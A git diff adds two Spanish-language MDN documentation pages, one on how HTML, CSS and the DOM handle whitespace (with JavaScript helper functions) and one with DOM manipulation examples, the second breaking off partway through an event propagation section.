diff --git a/files/es/referencia_dom_de_gecko/cómo_espacioenblanco/index.html b/files/es/referencia_dom_de_gecko/cómo_espacioenblanco/index.html
new file mode 100644
index 0000000000..a943896180
--- /dev/null
+++ b/files/es/referencia_dom_de_gecko/cómo_espacioenblanco/index.html
@@ -0,0 +1,476 @@
+---
+title: 'Cómo manejan el espacio en blanco HTML, CSS y el DOM'
+slug: Referencia_DOM_de_Gecko/Cómo_espacioenblanco
+tags:
+  - CSS
+  - DOM
+  - HTML
+  - JavaScript
+  - espacioenblanco
+  - whitespace
+translation_of: Web/API/Document_Object_Model/Whitespace
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La presencia de espacios en blanco en el <a href="/es/docs/Web/API/Document_Object_Model">DOM</a> puede causar problemas de diseño y dificultar la manipulación del árbol de contenido de formas inesperadas, dependiendo de dónde se encuentra. Este artículo explora cuándo pueden surgir dificultades y analiza qué se puede hacer para mitigar los problemas resultantes.</p>
+
+<h2 id="¿Qué_es_el_espacio_en_blanco">¿Qué es el espacio en blanco?</h2>
+
+<p>El espacio en blanco es cualquier cadena de texto compuesta solo por espacios, tabulaciones o saltos de línea (para ser precisos, secuencias CRLF, retornos de carro o avances de línea). Estos caracteres te permiten formatear tu código de una manera que lo hará fácilmente legible por ti y otras personas. De hecho, gran parte de nuestro código fuente está lleno de estos caracteres de espacio en blanco, y solo tendemos a deshacernos de ellos en un paso de compilación de producción para reducir el tamaño de descarga del código.</p>
+
+<h3 id="¿HTML_ignora_en_gran_medida_los_espacios_en_blanco">¿HTML ignora en gran medida los espacios en blanco?</h3>
+
+<p>En el caso de HTML, los espacios en blanco se ignoran en gran medida: los espacios en blanco entre palabras se tratan como un solo carácter y los espacios en blanco al principio y al final de los elementos y los elementos externos se ignoran. Tomemos el siguiente ejemplo minimalista:</p>
+
+<h3 class="hidden" id="HTML_largely_ignores_whitespace">HTML largely ignores whitespace?</h3>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+
+    &lt;h1&gt;       ¡Hola      mundo!     &lt;/h1&gt;</pre>
+
+<p>{{EmbedLiveSample('HTML_largely_ignores_whitespace')}}</p>
+
+<p>Este código fuente contiene un par de avances de línea después del <code>DOCTYPE</code> y un montón de caracteres de espacio antes, después y dentro del elemento <code>&lt;h1&gt;</code>, pero al navegador no parece importarle en absoluto y solo muestra las palabras "¡Hola mundo!" como si estos caracteres no existieran en absoluto:</p>
+
+<p>Esto es para que los espacios en blanco no afecten el diseño de tu página. Crear espacio alrededor y dentro de los elementos es el trabajo de CSS.</p>
+
+<h3 id="¿Qué_sucede_con_los_espacios_en_blanco">¿Qué <em>sucede</em> con los espacios en blanco?</h3>
+
+<p>Sin embargo, no solo desaparecen.</p>
+
+<p>Cualquier carácter de espacio en blanco que esté fuera de los elementos HTML del documento original se representan en el DOM. Esto es necesario internamente para que el editor pueda preservar el formato de los documentos. Esto significa que:</p>
+
+<ul>
+ <li>Habrá algunos nodos de texto que contienen solo espacios en blanco, y</li>
+ <li>Algunos nodos de texto tendrán espacios en blanco al principio o al final.</li>
+</ul>
+
+<p>Tomemos el siguiente documento, por ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Mi Documento&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h1&gt;Encabezado&lt;/h1&gt;
+  &lt;p&gt;
+    Párrafo
+  &lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>El árbol del DOM para esto se ve así:</p>
+
+<p><img alt="árbol de dom equivalente al ejemplo de HTML anterior" src="https://mdn.mozillademos.org/files/17084/dom-string.png" style="display: block; height: 288px; margin: 0 auto; width: 562px;"></p>
+
+<p>Conservar caracteres de espacio en blanco en el DOM es útil de muchas maneras, pero hay ciertos lugares donde esto hace que ciertos diseños sean más difíciles de implementar y causa problemas a los desarrolladores que quieren iterar a través de los nodos del DOM. Veremos estas y algunas soluciones más adelante.</p>
+
+<h3 id="¿CSS_cómo_procesa_los_espacios_en_blanco">¿CSS cómo procesa los espacios en blanco?</h3>
+
+<p>La mayoría de los espacios en blanco se ignoran, no todos. En el ejemplo anterior, uno de los espacios entre "!Hola" y "mundo!" todavía existe cuando la página se representa en un navegador. Hay reglas en el motor del navegador que deciden qué caracteres de espacio en blanco son útiles y cuáles no; estos se especifican al menos en parte en el <a href="https://www.w3.org/TR/css-text-3">Módulo de texto CSS Nivel 3</a>, y especialmente las partes sobre la <a href="https://www.w3.org/TR/css-text-3/#white-space-property">propiedad <code>white-space</code> en CSS</a> y <a href="https://www.w3.org/TR/css-text-3/#white-space-processing">detalles de procesamiento del espacio en blanco</a>, pero también ofrecemos una explicación más sencilla a continuación.</p>
+
+<p>Tomemos otro ejemplo realmente simple. Para hacerlo más fácil, ilustramos todos los espacios con ◦, todas las tabulaciones con ⇥ y todos los saltos de línea con ⏎:</p>
+
+<p>Este ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;◦◦◦¡Hola◦⏎
+⇥⇥⇥⇥&lt;span&gt;◦mundo!&lt;/span&gt;⇥◦◦&lt;/h1&gt;</pre>
+
+<p>se representa en el navegador así:</p>
+
+<div class="hidden">
+<h4 id="Hidden_example">Hidden example</h4>
+
+<pre class="brush: html notranslate">&lt;h1&gt;   ¡Hola
+    &lt;span&gt; mundo!&lt;/span&gt;   &lt;/h1&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample('Hidden_example')}}</p>
+
+<p>El elemento <code>&lt;h1&gt;</code> contiene solo elementos en línea. De hecho contiene:</p>
+
+<ul>
+ <li>Un nodo de texto (que consta de algunos espacios, la palabra "¡Hola" y algunas tabulaciones).</li>
+ <li>Un elemento en línea (el <code>&lt;span&gt;</code>, que contiene un espacio, y la palabra "mundo!").</li>
+ <li>Otro nodo de texto (que consta solo de tabulaciones y espacios).</li>
+</ul>
+
+<p>Debido a esto, establece lo que se llama un {{cssxref("Inline_formatting_context", "contexto de formato en línea")}}. Este es uno de los posibles contextos de representación de diseño con los que funcionan los motores del navegador.</p>
+
+<p>Dentro de este contexto, el procesamiento de caracteres de espacio en blanco se puede resumir de la siguiente manera:</p>
+
+<ol>
+ <li>
+  <p>Primero, todos los espacios y tabulaciones inmediatamente antes y después de un salto de línea se ignoran, por lo que, si tomamos nuestro marcado de ejemplo anterior y aplicamos esta primera regla, obtenemos:</p>
+
+  <pre class="brush: html notranslate">&lt;h1&gt;◦◦◦¡Hola⏎
+&lt;span&gt;◦mundo!&lt;/span&gt;⇥◦◦&lt;/h1&gt;</pre>
+ </li>
+ <li>
+  <p>A continuación, todos los caracteres de tabulación se tratan como caracteres de espacio, por lo que el ejemplo se convierte en:</p>
+
+  <pre class="brush: html notranslate">&lt;h1&gt;◦◦◦¡Hola⏎
+&lt;span&gt;◦mundo!&lt;/span&gt;◦◦◦&lt;/h1&gt;</pre>
+ </li>
+ <li>
+  <p>A continuación, los saltos de línea se convierten en espacios:</p>
+
+  <pre class="brush: html notranslate">&lt;h1&gt;◦◦◦¡Hola◦&lt;span&gt;◦mundo!&lt;/span&gt;◦◦◦&lt;/h1&gt;</pre>
+ </li>
+ <li>
+  <p>Después de eso, cualquier espacio inmediatamente después de otro espacio (incluso a través de dos elementos en línea separados) se ignora, por lo que terminamos con:</p>
+
+  <pre class="brush: html notranslate">&lt;h1&gt;◦¡Hola◦&lt;span&gt;mundo!&lt;/span&gt;◦&lt;/h1&gt;</pre>
+ </li>
+ <li>
+  <p>Y finalmente, las secuencias de espacios al principio y al final de una línea se eliminan, por lo que eventualmente obtenemos esto:</p>
+
+  <pre class="brush: html notranslate">&lt;h1&gt;¡Hola◦&lt;span&gt;mundo!&lt;/span&gt;&lt;/h1&gt;</pre>
+ </li>
+</ol>
+
+<p>Es por eso que las personas que visitan la página web simplemente verán la frase "¡Hola mundo!" muy bien escrita en la parte superior de la página, en lugar de un "!Hola" con una sangría extraña, seguido de un "mundo!" en la línea debajo de esa.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: <a href="/es/docs/Tools">Firefox DevTools</a> ha admitido el resaltado de nodos de texto desde la versión 52, lo que facilita ver exactamente qué contenido hay dentro de los nodos de espacios en blanco. Los nodos de espacios en blanco puros están marcados con una etiqueta "<code>whitespace</code>".</p>
+</div>
+
+<h3 id="Espacio_en_blanco_en_contextos_de_formato_de_bloque">Espacio en blanco en contextos de formato de bloque</h3>
+
+<p>Anteriormente, solo miramos elementos que contienen elementos en línea y contextos de formato en línea. Si un elemento contiene al menos un elemento de bloque, entonces establece lo que se llama un {{cssxref("Block_formatting_context", "contexto de formato de bloque")}}.</p>
+
+<p>En este contexto, los espacios en blanco se tratan de manera muy diferente. Veamos un ejemplo para explicar cómo. Hemos marcado los espacios en blanco como antes.</p>
+
+<pre class="brush: html notranslate">&lt;body&gt;⏎
+⇥&lt;div&gt;◦◦¡Hola◦◦&lt;/div&gt;⏎
+⏎
+◦◦◦&lt;div&gt;◦◦mundo!◦◦&lt;/div&gt;◦◦⏎
+&lt;/body&gt;</pre>
+
+<p>Tenemos 3 nodos de texto que contienen solo espacios en blanco, uno antes del primer <code>&lt;div&gt;</code>, uno entre los 2 <code>&lt;div&gt;</code>s y uno después del segundo <code>&lt;div&gt;</code>.</p>
+
+<p>Esto se renderiza así:</p>
+
+<div class="hidden">
+<h4 id="Hidden_example_2">Hidden example 2</h4>
+
+<pre class="brush: html notranslate">&lt;body&gt;
+  &lt;div&gt;  ¡Hola  &lt;/div&gt;
+
+   &lt;div&gt;  mundo!   &lt;/div&gt;
+&lt;/body&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample('Hidden_example_2')}}</p>
+
+<p>Podemos resumir cómo se maneja el espacio en blanco aquí de la siguiente manera (puede haber algunas pequeñas diferencias en el comportamiento exacto entre los navegadores, pero básicamente, esto funciona):</p>
+
+<ol>
+ <li>
+  <p>Debido a que estamos dentro de un contexto de formato de bloque, todo debe ser un bloque, por lo que nuestros 3 nodos de texto también se convierten en bloques, al igual que los 2 <code>&lt;div&gt;</code>s. Los bloques ocupan todo el ancho disponible y se apilan unos encima de los otros, lo cual significa que terminamos con un diseño compuesto por esta lista de bloques:</p>
+
+  <pre class="brush: html notranslate">&lt;block&gt;⏎⇥&lt;/block&gt;
+&lt;block&gt;◦◦¡Hola◦◦&lt;/block&gt;
+&lt;block&gt;⏎◦◦◦&lt;/block&gt;
+&lt;block&gt;◦◦mundo!◦◦&lt;/block&gt;
+&lt;block&gt;◦◦⏎&lt;/block&gt;</pre>
+ </li>
+ <li>
+  <p>Esto luego se simplifica aún más aplicando las reglas de procesamiento para espacios en blanco en contextos de formato en línea a estos bloques:</p>
+
+  <pre class="brush: html notranslate">&lt;block&gt;&lt;/block&gt;
+&lt;block&gt;¡Hola&lt;/block&gt;
+&lt;block&gt;&lt;/block&gt;
+&lt;block&gt;mundo!&lt;/block&gt;
+&lt;block&gt;&lt;/block&gt;</pre>
+ </li>
+ <li>
+  <p>Los 3 bloques vacíos que tenemos ahora no van a ocupar ningún espacio en el diseño final, porque no contienen nada, así que terminaremos con solo 2 bloques ocupando espacio en la página. Las personas que visitan la página web ven las palabras "!Hola" y "mundo!" en 2 líneas separadas, ya que esperarías que se distribuyeran 2 <code>&lt;div&gt;</code>s. El motor del navegador esencialmente ha ignorado todos los espacios en blanco que se agregaron en el código fuente.</p>
+ </li>
+</ol>
+
+<h2 id="Espacios_entre_elementos_en_línea_y_bloques_en_línea">Espacios entre elementos en línea y bloques en línea</h2>
+
+<p>Ahora analicemos algunos problemas que pueden surgir debido a los espacios en blanco y qué se puede hacer al respecto. En primer lugar, veremos qué sucede con los espacios entre los elementos en línea y de bloque en línea. De hecho, ya vimos esto en nuestro primer ejemplo, cuando describimos cómo se procesan los espacios en blanco dentro de los contextos de formato en línea.</p>
+
+<p>Dijimos que había reglas para ignorar la mayoría de los caracteres, pero que los caracteres que separan palabras permanecen. Cuando solo se trata de elementos a nivel de bloque como <code>&lt;p&gt;</code> que solo contienen elementos en línea como <code>&lt;em&gt;</code>, <code>&lt;strong&gt;</code>, <code>&lt;span&gt;</code>, etc., normalmente no te importa esto porque el espacio en blanco adicional que llega al diseño es útil para separar las palabras en la oración.</p>
+
+<p>Sin embargo, se vuelve más interesante cuando comienzas a usar elementos <code>inline-block</code>. Estos elementos se comportan como elementos en línea en el exterior y como bloques en el interior, y a menudo se utilizan para mostrar piezas de la IU más complejas que solo texto, una al lado de la otra en la misma línea, por ejemplo, elementos del menú de navegación.</p>
+
+<p>Debido a que son bloques, muchas personas esperan que se comporten como tales, pero en realidad no es así. Si hay espacios en blanco de formato entre elementos en línea adyacentes, esto dará como resultado un espacio en el diseño, al igual que los espacios entre palabras en el texto.</p>
+
+<p>Considera este ejemplo (nuevamente, los espacios en blanco en el HTML están marcados para que sean visibles):</p>
+
+<pre class="brush: css notranslate" id="ef6f">.people-list {
+  list-style-type: none;
+  margin: 0;
+  padding: 0;
+}
+
+.people-list li {
+  display: inline-block;
+  width: 2em;
+  height: 2em;
+  background: #f06;
+  border: 1px solid;
+}
+</pre>
+
+<pre class="brush: html notranslate" id="24bb">&lt;ul class="people-list"&gt;⏎
+
+◦◦&lt;li&gt;&lt;/li&gt;⏎
+
+◦◦&lt;li&gt;&lt;/li&gt;⏎
+
+◦◦&lt;li&gt;&lt;/li&gt;⏎
+
+◦◦&lt;li&gt;&lt;/li&gt;⏎
+
+◦◦&lt;li&gt;&lt;/li&gt;⏎
+
+&lt;/ul&gt;</pre>
+
+<p>Esto se traduce de la siguiente manera:</p>
+
+<div class="hidden">
+<h3 id="Hidden_example_3">Hidden example 3</h3>
+
+<pre class="brush: css notranslate" id="ef6f">.people-list { list-style-type: none; margin: 0; padding: 0; }
+.people-list li { display: inline-block; width: 2em; height: 2em; background: #f06; border: 1px solid; }
+</pre>
+
+<pre class="brush: html notranslate" id="24bb">&lt;ul class="people-list"&gt;
+
+  &lt;li&gt;&lt;/li&gt;
+
+  &lt;li&gt;&lt;/li&gt;
+
+  &lt;li&gt;&lt;/li&gt;
+
+  &lt;li&gt;&lt;/li&gt;
+
+  &lt;li&gt;&lt;/li&gt;
+
+&lt;/ul&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample('Hidden_example_3')}}</p>
+
+<p>Probablemente no desees los espacios entre los bloques — dependiendo del caso de uso (¿esta es una lista de avatares o botones de navegación horizontales?), Probablemente desees que los lados del elemento estén alineados entre sí y poder controlar cualquier espacio tú mismo.</p>
+
+<p>El <em>Inspector HTML de Firefox DevTools</em> resaltará los nodos de texto y también te mostrará exactamente qué áreas están ocupando los elementos, lo que es útil si te preguntas qué está causando el problema y tal vez estés pensando que tienes un margen adicional allí o algo así.</p>
+
+<p><img alt="Espacio en blanco en Devtools" src="https://mdn.mozillademos.org/files/17085/whitespace-devtools.png" style="border-style: solid; border-width: 1px; height: 454px; width: 797px;"></p>
+
+<p>Hay algunas formas de solucionar este problema:</p>
+
+<p>Utiliza <a href="/es/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a> para crear la lista horizontal de elementos en lugar de probar una solución de <code>inline-block</code>. Esto se encarga de todo por ti y definitivamente es la solución preferida:</p>
+
+<pre class="brush: css notranslate">ul {
+  list-style-type: none;
+  margin: 0;
+  padding: 0;
+  display: flex;
+}</pre>
+
+<p>Si necesitas confiar en <code>inline-block</code>, puedes establecer el {{cssxref("font-size")}} de la lista a 0. Esto solo trabaja si tus bloques no tienen el tamaño <code>ems</code> (según el <code>font-size</code>, por lo que el tamaño del bloque también terminaría siendo 0). <code>rems</code> sería una buena opción aquí:</p>
+
+<pre class="brush: css notranslate">ul {
+  font-size: 0;
+  ...
+}
+
+li {
+  display: inline-block;
+  width: 2rem;
+  height: 2rem;
+  ...
+}
+</pre>
+
+<p>O puedes establecer un margen negativo en los elementos de la lista:</p>
+
+<pre class="brush: css notranslate">li {
+  display: inline-block;
+  width: 2rem;
+  height: 2rem;
+  margin-right: -0.25rem;
+}</pre>
+
+<p>También puedes resolver este problema colocando los elementos de tu lista en la misma línea en la fuente, lo cual hace que los nodos de espacios en blanco no se creen en primer lugar:</p>
+
+<pre class="brush: html notranslate">&lt;li&gt;&lt;/li&gt;&lt;li&gt;&lt;/li&gt;&lt;li&gt;&lt;/li&gt;&lt;li&gt;&lt;/li&gt;&lt;li&gt;&lt;/li&gt;</pre>
+
+<h2 id="Recorrido_del_DOM_y_el_espacio_en_blanco">Recorrido del DOM y el espacio en blanco</h2>
+
+<p>Al intentar realizar una manipulación del <a href="/es/docs/Web/API/Document_Object_Model">DOM</a> en JavaScript, también puedes encontrar problemas debido a los nodos de espacios en blanco. Por ejemplo, si tienes una referencia a un nodo padre y deseas afectar su primer elemento hijo usando <a href="/es/docs/Web/API/Node/firstChild"><code>Node.firstChild</code></a>, si hay un nodo de espacio en blanco deshonesto justo después de la etiqueta de apertura principal, no obtendrás el resultado que esperabas. Se seleccionaría el nodo de texto en lugar del elemento al que deseas afectar.</p>
+
+<p>Veamos otro ejemplo, si tienes un determinado subconjunto de elementos en los que deseas hacer algo en función de si están vacíos (no tienen nodos secundarios) o, no puedes verificar si cada elemento está vacío usando algo como <a href="/es/docs/Web/API/Node/hasChildNodes"><code>Node.hasChildNodes()</code></a>, pero nuevamente, si algún elemento destino contiene nodos de texto, podrías terminar con resultados falsos.</p>
+
+<h2 id="Funciones_auxiliares_de_espacios_en_blanco">Funciones auxiliares de espacios en blanco</h2>
+
+<p>El siguiente código JavaScript define varias funciones que facilitan el manejo de espacios en blanco en el DOM:</p>
+
+<pre class="brush: js notranslate">/**
+ * En todo, el espacio en blanco se define como uno de los caracteres
+ *  "\t" TAB \u0009
+ *  "\n" LF  \u000A
+ *  "\r" CR  \u000D
+ *  " "  SPC \u0020
+ *
+ * Esto no usa la "\s" de Javascript porque eso incluye
+ * espacios irrompibles (y también algunos otros caracteres).
+ */
+
+
+/**
+ * Determina si el contenido de texto de un nodo es completamente de espacios en blanco.
+ *
+ * @param nod  Un nodo que implementa la interfaz | CharacterData | (es decir,
+ *             un nodo |Text|, |Comment| o |CDATASection|
+ * @return     True si todo el contenido de texto de |nod| es espacio en blanco,
+ *             de lo contrario false.
+ */
+function is_all_ws( nod )
+{
+  // Usa las características de String y RegExp de ECMA-262 Edición 3
+  return !(/[^\t\n\r ]/.test(nod.textContent));
+}
+
+
+/**
+ * Determina si un nodo debe ser ignorado por las funciones del iterador.
+ *
+ * @param nod  Un objeto implementando la interfaz |Node| de DOM1.
+ * @return     true si el nodo es:
+ *                1) Un nodo |Text| en que todo es espacio en blanco
+ *                2) Un nodo |Comment|
+ *             y de lo contrario false.
+ */
+
+function is_ignorable( nod )
+{
+  return ( nod.nodeType == 8) || // Un nodo comment
+         ( (nod.nodeType == 3) &amp;&amp; is_all_ws(nod) ); // un nodo text, todo es eeb
+}
+
+/**
+ * Versión de |previousSibling| que omite los nodos que son completamente
+ * espacio en blanco o comentarios.  (Normalmente |previousSibling| es una propiedad
+ * de todos los nodos DOM que devuelve el nodo hermano, el nodo que es
+ * un hijo del mismo padre, que ocurre inmediatamente antes del
+ * nodo de referencia).
+ *
+ * @param sib  El nodo de referencia.
+ * @return     O bien:
+ *               1) El hermano anterior más cercano a |sib| eso no es
+ *                  ignorable según |is_ignorable|, o
+ *               2) null si no existe tal nodo.
+ */
+function node_before( sib )
+{
+  while ((sib = sib.previousSibling)) {
+    if (!is_ignorable(sib)) return sib;
+  }
+  return null;
+}
+
+/**
+ * Versión de |nextSibling| que omite los nodos que son completamente
+ * espacio en blanco o comentarios.
+ *
+ * @param sib  El nodo de referencia.
+ * @return     O bien:
+ *               1) El hermano más cercano a |sib| eso no es
+ *                  ignorable según |is_ignorable|, o
+ *               2) null si no existe tal nodo.
+ */
+function node_after( sib )
+{
+  while ((sib = sib.nextSibling)) {
+    if (!is_ignorable(sib)) return sib;
+  }
+  return null;
+}
+
+/**
+ * Versión de |lastChild| que omite los nodos que son completamente
+ * espacio en blanco o comentarios.  (Normalmente |lastChild| es una propiedad
+ * de todos los nodos del DOM que da el último de los nodos contenidos
+ * directamente en el nodo de referencia).
+ *
+ * @param sib  El nodo de referencia.
+ * @return     O bien:
+ *               1) El último hijo de |sib| eso no es
+ *                  ignorable según |is_ignorable|, o
+ *               2) null si no existe tal nodo.
+ */
+function last_child( par )
+{
+  var res=par.lastChild;
+  while (res) {
+    if (!is_ignorable(res)) return res;
+    res = res.previousSibling;
+  }
+  return null;
+}
+
+/**
+ * Versión de |firstChild| que omite los nodos que son completamente
+ * espacios en blanco y comentarios.
+ *
+ * @param sib  El nodo de referencia.
+ * @return     O bien:
+ *               1) El primer hijo de |sib| eso no es
+ *                  ignorable según |is_ignorable|, o
+ *               2) null si no existe tal nodo.
+ */
+function first_child( par )
+{
+  var res=par.firstChild;
+  while (res) {
+    if (!is_ignorable(res)) return res;
+    res = res.nextSibling;
+  }
+  return null;
+}
+
+/**
+ * Versión de |data| que no incluye espacios en blanco al principio
+ * y finaliza y normaliza todos los espacios en blanco a un solo espacio.  (Normalmente
+ * |data| es una propiedad de los nodos de texto que proporciona el texto del nodo).
+ *
+ * @param txt  El nodo de texto cuyos datos se deben devolver
+ * @return     Una cadena que proporciona el contenido del nodo de texto con
+ *             espacios en blanco colapsados.
+ */
+function data_of( txt )
+{
+  var data = txt.textContent;
+  // Usa las características de String y RegExp de ECMA-262 Edición 3
+  data = data.replace(/[\t\n\r ]+/g, " ");
+  if (data.charAt(0) == " ")
+    data = data.substring(1, data.length);
+  if (data.charAt(data.length - 1) == " ")
+    data = data.substring(0, data.length - 1);
+  return data;
+}
+</pre>
+
+<h3 id="Ejemplo">Ejemplo</h3>
+
+<p>El siguiente código demuestra el uso de las funciones anteriores. Itera sobre los hijos de un elemento (cuyos hijos son todos elementos) para encontrar aquel cuyo texto es <code>"Este es el tercer párrafo"</code>, y luego cambia el atributo de clase y el contenido de ese párrafo.</p>
+
+<pre class="brush: js notranslate">var cur = first_child(document.getElementById("test"));
+while (cur)
+{
+  if (data_of(cur.firstChild) == "Este es el tercer párrafo.")
+  {
+    cur.className = "magic";
+    cur.firstChild.textContent = "Este es el párrafo mágico.";
+  }
+  cur = node_after(cur);
+}
+</pre>
diff --git a/files/es/referencia_dom_de_gecko/ejemplos/index.html b/files/es/referencia_dom_de_gecko/ejemplos/index.html
new file mode 100644
index 0000000000..33f0e9e2b7
--- /dev/null
+++ b/files/es/referencia_dom_de_gecko/ejemplos/index.html
@@ -0,0 +1,367 @@
+---
+title: Ejemplos
+slug: Referencia_DOM_de_Gecko/Ejemplos
+tags:
+  - DOM
+  - Referencia_DOM_de_Gecko
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Web/API/Document_Object_Model/Examples
+---
+<p>En este capítulo se brindan ejemplos relativamente extensos que ilustran el uso del DOM para el desarrollo web y XML. Siempre que sea posible, usaremos las APIs, trucos y patrones comunes en JavaScript para la manipulación del objeto <code>document</code>.</p>
+
+<h3 id="Ejemplo_1:_Altos_y_anchos" name="Ejemplo_1:_Altos_y_anchos">Ejemplo 1: Altos y anchos</h3>
+
+<p>El ejemplo siguiente muestra el uso de las propiedades de alto (<code>height</code>) y ancho (<code>width</code>) junto a imágenes de dimensiones variadas:</p>
+
+<pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd"&gt;
+
+&lt;html lang="es"&gt;
+
+&lt;head&gt;
+&lt;title&gt;Ejemplo de height/width&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+function iniciar()
+{
+  var arrImages = new Array(3);
+  arrImages[0] = document.getElementById("imagen1");
+  arrImages[1] = document.getElementById("imagen2");
+  arrImages[2] = document.getElementById("imagen3");
+  var objOutput = document.getElementById("salida");
+  var strHtml = "&lt;ul&gt;";
+  for (var i = 0; i &lt; arrImages.length; i++)
+    strHtml += "&lt;li&gt;imagen" + (i+1) +
+            ": height=" + arrImages[i].height +
+            ", width=" + arrImages[i].width +
+            ", style.height=" + arrImages[i].style.height +
+            ", style.width=" + arrImages[i].style.width +
+            "&lt;\/li&gt;";
+  strHtml += "&lt;\/ul&gt;";
+  salida.innerHTML = strHtml;
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="iniciar();"&gt;
+
+&lt;p&gt;La 1ª imagen:
+- alto (height): no
+- ancho (width): no
+- estilo (style): no
+    &lt;img id="imagen1" src="http://www.mozilla.org/images/mozilla-banner.gif"&gt;
+&lt;/p&gt;
+&lt;p&gt;La 2ª imagen:
+- height="50"
+- width="500"
+- style: no
+    &lt;img id="imagen2" src="http://www.mozilla.org/images/mozilla-banner.gif"
+         height="50" width="500"&gt;
+&lt;/p&gt;
+&lt;p&gt;La 3ª imagen:
+- height y width: no
+- style="height: 50px; width: 500px;": sí
+    &lt;img id="imagen3" src="http://www.mozilla.org/images/mozilla-banner.gif"
+         style="height: 50px; width: 500px;"&gt;
+&lt;/p&gt;
+
+&lt;div id="salida"&gt; &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><code>height</code> y <code>width</code> son además propiedades de los elementos <code>OBJECT</code> y <code>APPLET</code>.</p>
+
+<h3 id="Ejemplo_2:_Atributos_de_una_imagen" name="Ejemplo_2:_Atributos_de_una_imagen">Ejemplo 2: Atributos de una imagen</h3>
+
+<pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd"&gt;
+
+&lt;html lang="es"&gt;
+
+&lt;head&gt;
+&lt;title&gt;Modificación del borde de una imagen&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+function setBorderWidth(width) {
+  document.getElementById("img1").style.borderWidth = width + "px";
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;p&gt;
+  &lt;img id="img1" src="image1.gif" style="border: 5px solid green;" width="100"
+height="100" alt="test de borde"&gt;
+&lt;/p&gt;
+
+&lt;form name="Formulario"&gt;
+  &lt;p&gt;&lt;input type="button" value="Definir un borde de 20px"
+onclick="setBorderWidth(20);"&gt; &lt;input type="button" value="Definir un borde de 5px"
+onclick="setBorderWidth(5);"&gt;&lt;/p&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Ejemplo_3:_Manipulaci.C3.B3n_de_estilos" name="Ejemplo_3:_Manipulaci.C3.B3n_de_estilos">Ejemplo 3: Manipulación de estilos</h3>
+
+<p>En este ejemplo sencillo, algunas propiedades de estilo básicas de un elemento párrafo HTML son accedidas utilizando el objeto estilo en el elemento y aquellas propiedades de estilo CSS del objeto, pueden ser entregadas y establecidas desde el DOM. En este caso, está manipulando los estilos directamente. En el siguiente ejemplo (ver ejemplo 4), puede utilizar las hojas de estilo y sus reglas para cambiar estilos para el documento entero.</p>
+
+<pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd"&gt;
+
+&lt;html lang="en"&gt;
+
+&lt;head&gt;
+&lt;title&gt;Changing color and font-size example&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+function changeText() {
+	var p = document.getElementById("pid");
+	p.style.color = "blue"
+	p.style.fontSize = "18pt"
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;p id="pid"
+onclick="window.location.href = 'http://www.cnn.com/';"&gt;linker&lt;/p&gt;
+&lt;form&gt;
+&lt;p&gt;&lt;input value="rec" type="button" onclick="changeText();"&gt;&lt;/p&gt;
+&lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Ejemplo_4:_Utilizaci.C3.B3n_de_las_hojas_de_estilo" name="Ejemplo_4:_Utilizaci.C3.B3n_de_las_hojas_de_estilo">Ejemplo 4: Utilización de las hojas de estilo</h3>
+
+<p>La propiedad de las hojas de estilo en un objeto de documento muestra una lista de las hojas de estilo que acompañan a ése documento. Usando los objetos de la hoja de estilo, del estilo y de las reglas de CSS se puede acceder individualmente a esas hojas de estilo y sus reglas, como se demuestra en este ejemplo, el cual muestra todos los selectores de reglas de estilo en la consola.</p>
+
+<pre>ss = document.styleSheets;
+for(i=0; i&lt;ss.length; i++)
+ {
+ for(j=0; j&lt;ss[0].cssRules.length; j++)
+  {
+  dump( ss[i].cssRules[j].selectorText + "\n" );
+  }
+ }
+</pre>
+
+<p>Para un documento con una sola hoja de estilo en la cual son definidas las tres reglas siguientes:</p>
+
+<pre class="eval">BODY { background-color: darkblue; }
+P { font-face: Arial; font-size: 10pt; margin-left: .125in; }
+#lumpy { display: none; }
+</pre>
+
+<p>El script sale así:</p>
+
+<pre class="eval">BODY
+P
+#LUMPY
+</pre>
+
+<h3 id="Ejemplo_5:_Propagaci.C3.B3n_del_evento" name="Ejemplo_5:_Propagaci.C3.B3n_del_evento">Ejemplo 5: Propagación del evento</h3>
+
+<p>Este ejemplo muestra de una forma muy simple como los eventos se inician y son gestionados en el DOM. Cuando el cuerpo (<em>body</em> ) de ese documento HTML se carga,<em>un evento listener es registrado con la columna superior de la TABLA. El evento listener maneja el evento ejecutando la función stopEvent, que cambia el valor en el final de la celda de la tabla.</em></p>
+
